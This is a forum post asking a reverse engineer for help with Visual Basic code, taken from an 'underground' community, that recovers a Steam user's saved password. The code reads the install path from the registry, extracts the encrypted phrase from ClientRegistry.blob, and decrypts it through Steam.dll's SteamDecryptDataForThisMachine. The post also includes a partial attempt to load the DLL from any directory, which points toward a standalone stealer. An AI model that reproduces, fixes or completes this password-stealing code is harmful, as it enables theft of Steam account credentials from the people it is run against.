Hi aluigi ,
Thanks for your answer i did a search yesterday and Found a source on a underground steam community
but the problem is i have to put the application on the same directory as steam.dll
what i'am trying and i did is that i get the steam.dll path from registry but i dunno how to attach it
Code:
Private Declare Function SteamDecryptDataForThisMachine Lib "Steam.dll" _
(ByVal encpwd As Any, ByVal encpwdlen As Any, ByVal pwd As Any, ByVal pwdlen As Any, ByRef tama??o As Any) As Long
Private Function Steamdecrypt() As String
On Error Resume Next
Dim i As Object, y As Integer
Dim encpwd As String, pwd As String * 30
Dim daten() As Byte
Dim ret As Long, x As Long
Dim k As Long
Set i = CreateObject("wscript.shell")
SteamDir = i.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Valve\Steam\InstallPath")
Set i = Nothing
If Len(SteamDir) < 0 Then End
Open SteamDir & "\ClientRegistry.blob" For Binary As #1
flen = FileLen(SteamDir & "\ClientRegistry.blob")
ReDim daten(flen)
Get #1, , daten
Close #1
encpwd = StrConv(daten, vbUnicode)
For x = 0 To 30: encpwd = Replace(encpwd, Chr(x), ""): Next
encpwd = Mid(encpwd, InStr(encpwd, "PhraseP~\") + 9, 92) & Chr(0)
k = SteamDecryptDataForThisMachine(encpwd, Len(encpwd), pwd, Len(pwd), ret)
If ret > 0 Then Steamdecrypt = pwd
End Function
this one work but only if you put steam.dll and this project in the same directory
i add those to add get steam path
Code:
Private Function GetSteamDLL() As String
Set WshShell = CreateObject("WScript.Shell")
GetSteamDLL = WshShell.RegRead("HKEY_CURRENT_USER\Software\Valve\Steam\SteamPath")
GetSteamDLL = GetSteamDLL & "\" & "Steam.dll"
End Function
Code:
Dim lb As Long, pa As Long
lb = LoadLibrary(GetSteamDLL)
pa = GetProcAddress(lb, "SteamDecryptDataForThisMachine")
but dont work can you help ?
Thanks
